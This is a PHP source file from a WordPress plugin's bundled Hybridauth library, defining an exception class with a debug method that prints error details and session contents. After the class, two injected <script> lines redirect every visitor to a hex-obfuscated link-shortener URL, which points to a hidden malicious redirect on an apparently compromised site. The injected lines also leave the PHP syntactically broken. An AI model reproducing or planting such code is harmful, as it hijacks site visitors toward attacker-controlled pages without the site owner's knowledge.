File: /home/parhudrw/luca.anqa.it/wp-content/plugins/loginizer/lib/hybridauth/Exception/Exception.php
<?php
/*!
* Hybridauth
* https://hybridauth.github.io | https://github.com/hybridauth/hybridauth
* (c) 2017 Hybridauth authors | https://hybridauth.github.io/license.html
*/
namespace Hybridauth\Exception;
/**
* Hybridauth Base Exception
*/
class Exception extends \Exception implements ExceptionInterface
{
/**
* Shamelessly Borrowed from Slimframework
*
* @param $object
*/
public function debug($object)
{
$title = 'Hybridauth Exception';
$code = $this->getCode();
$message = $this->getMessage();
$file = $this->getFile();
$line = $this->getLine();
$trace = $this->getTraceAsString();
$html = sprintf('<h1>%s</h1>', $title);
$html .= '<p>Hybridauth has encountered the following error:</p>';
$html .= '<h2>Details</h2>';
$html .= sprintf('<div><strong>Exception:</strong> %s</div>', get_class($this));
$html .= sprintf('<div><strong>Message:</strong> <font color="#cc0000">%s</font></div>', $message);
$html .= sprintf('<div><strong>File:</strong> %s</div>', $file);
$html .= sprintf('<div><strong>Line:</strong> %s</div>', $line);
$html .= sprintf('<div><strong>Code:</strong> %s</div>', $code);
$html .= '<h2>Trace</h2>';
$html .= sprintf('<pre>%s</pre>', $trace);
if ($object) {
$html .= '<h2>Debug</h2>';
$obj_dump = print_r($object, true);
// phpcs:ignore
$html .= sprintf('<b>' . get_class($object) . '</b> extends <b>' . get_parent_class($object) . '</b><pre>%s</pre>', $obj_dump);
}
$html .= '<h2>Session</h2>';
$session_dump = print_r($_SESSION, true);
$html .= sprintf('<pre>%s</pre>', $session_dump);
// phpcs:ignore
echo sprintf("<html><head><title>%s</title><style>body{margin:0;padding:30px;font:12px/1.5 Helvetica,Arial,Verdana,sans-serif;}h1{margin:0;font-size:48px;font-weight:normal;line-height:48px;}strong{display:inline-block;width:75px;}</style></head><body>%s</body></html>", $title, $html);
}
}
ob_start();
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>